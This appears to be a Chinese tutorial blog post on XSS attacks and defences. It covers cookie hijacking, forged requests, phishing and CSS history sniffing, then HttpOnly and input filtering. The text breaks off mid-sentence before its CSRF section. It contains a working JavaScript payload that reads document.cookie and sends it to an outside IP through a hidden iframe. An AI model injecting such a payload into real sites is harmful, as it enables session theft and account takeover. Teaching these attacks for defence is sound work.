浅谈XSS与CSRF两种跨站攻击

1.XSS:跨站脚本(Cross-site scripting

实现XSS攻击可以通过JavaScript、ActiveX控件、Flash插件、Java插件等技术手段实现,下面讨论JavaScript的XSS攻击。

1) 通过JavaScript实现的XSS攻击,一般有以下几种:

① Cookie劫持

Cookie中,往往会存储着一些用户安全级别较高的信息,如用户的登陆凭证。当用户所访问的网站被注入恶意代码,恶意代码只需通过简单的JavaScript代码—— document.cookie ,就可以顺利获取到用户当前访问网站的Cookie。如果攻击者能获取到用户登陆凭证的Cookie,甚至可以绕开登陆流程,直接设置这个cookie的值,来访问用户的账号。

// 用  包起来放在评论中
(function(window, document) {
    // 构造泄露信息用的 URL
    var cookies = document.cookie;
    var xssURIBase = "http://192.168.123.123/myxss/";
    var xssURI = xssURIBase + window.encodeURI(cookies);
    // 创建隐藏的iframe 用于通讯
    var iframe = document.createElement("iframe");
    iframe.height = 0;
    iframe.width = 0;
    iframe.style.display = "none";
    iframe.src = xssURI;
    document.body.appendChild(iframe);
})(window, document);

② 构造请求

JavaScript 可以通过多种方式向服务器发送GET与POST请求。网站的数据访问和操作,基本上都是通过向服务器发送请求而实现的。如果让恶意代码顺利模拟用户操作,向服务器发送有效请求,将对用户造成重大损失,如:更改用户资料、删除用户信息等。

③ XSS钓鱼

伪造一个高度相似的网站,欺骗用户在钓鱼网站上面填写账号密码或者进行交易。如,注入页面的恶意代码,会弹出一个相似的弹窗,提示用户输入账号密码登陆,当用户输入后点击发送,账号密码信息已经发送到了攻击者的服务器上。

④ CSS History Hack

结合浏览器历史记录和CSS的伪类:a:visited,通过遍历一个网址列表来获取其中标签的颜色,就能知道用户访问过什么网站。

2) XSS防御技巧

① HttpOnly

服务器端在设置安全级别高的Cookie时,带上HttpOnly的属性,防止JavaScript获取。

如PHP设置header("Set-Cookie: name=Alice;httponly", false);

② 输入检查

任何用户输入的数据,都是“不可信”的。输入检查,一般是用于输入格式检查,但是,输入过滤不能完全交由前端负责,前端的输入过滤只是为了避免普通用户的错误输入,减轻服务器的负担,因为攻击者完全可以绕过正常输入流程,直接利用相关接口向服务器发送设置,所以前端和后端要做相同的过滤检查。

a. 格式检查
如邮箱、电话号码、用户名等是否按照规定的格式输入。

b. 检查特殊字符
如发现<、>、'、"等特殊字符,将其过滤或编码。

c. 检查XSS特征
如用户输入中是否包含了

你可能感兴趣的:(Web)